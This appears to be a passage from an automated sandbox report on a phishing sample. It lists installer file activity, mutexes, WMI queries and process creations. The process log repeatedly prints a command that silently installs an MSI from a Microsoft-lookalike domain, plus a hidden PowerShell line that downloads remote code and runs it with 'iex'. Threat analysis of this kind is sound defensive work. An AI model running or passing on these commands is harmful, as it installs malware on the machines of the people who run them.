Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF58C.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF60A.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF956.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFBC8.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIEB.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI447.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4E4.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8FC.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9E8.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF28.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFD5.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI15A3.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1640.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI19BC.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI1C2E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI21FB.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI22B7.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2623.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI26F0.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2ED0.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2F6D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI32BA.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3357.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3656.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3722.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3A7F.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\58adca.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIADD8.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI379E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIB5CA.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIB4DE.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIBA02.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIB955.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIBE78.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIBD00.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIC34D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIC213.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIC9B7.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIC7B3.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSICF76.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSICEBA.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSID3DD.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSID2E2.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSID873.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSID71A.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIDDF3.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIDC9B.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIE22B.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIE19E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIE625.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIE597.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIECBF.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIEB75.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIF26E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIF03A.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIF60A.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIF58C.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIFBC8.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIF956.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIEB.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI5D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI4E4.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI447.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI9E8.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI8FC.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIFD5.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSIF28.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI1640.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI15A3.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI1C2E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI19BC.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI22B7.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI26F0.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI2623.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI2F6D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI2ED0.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI3357.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI32BA.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI3722.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\MSI3656.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File deleted: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior

Source: classification engine

Classification label: mal76.phis.evad.win@155/400@7/6

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CMLAFEB.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1392:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4104:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1852:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7044:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6400:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1220:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1600:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1260:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2884:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6232:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5872:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1488:120:WilError_03

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DF4FD761B139B07E24.TMP

Jump to behavior

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\SysWOW64\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\SysWOW64\msiexec.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=3264,i,11090072880951647910,17287777256714508569,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3492 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=3264,i,11090072880951647910,17287777256714508569,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4812 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ggg-logistics.com/"
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding EF716064682E1076D0BADB4927A14935
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('\|', $s, 'iex'))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\SysWOW64\systeminfo.exe	Process created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi
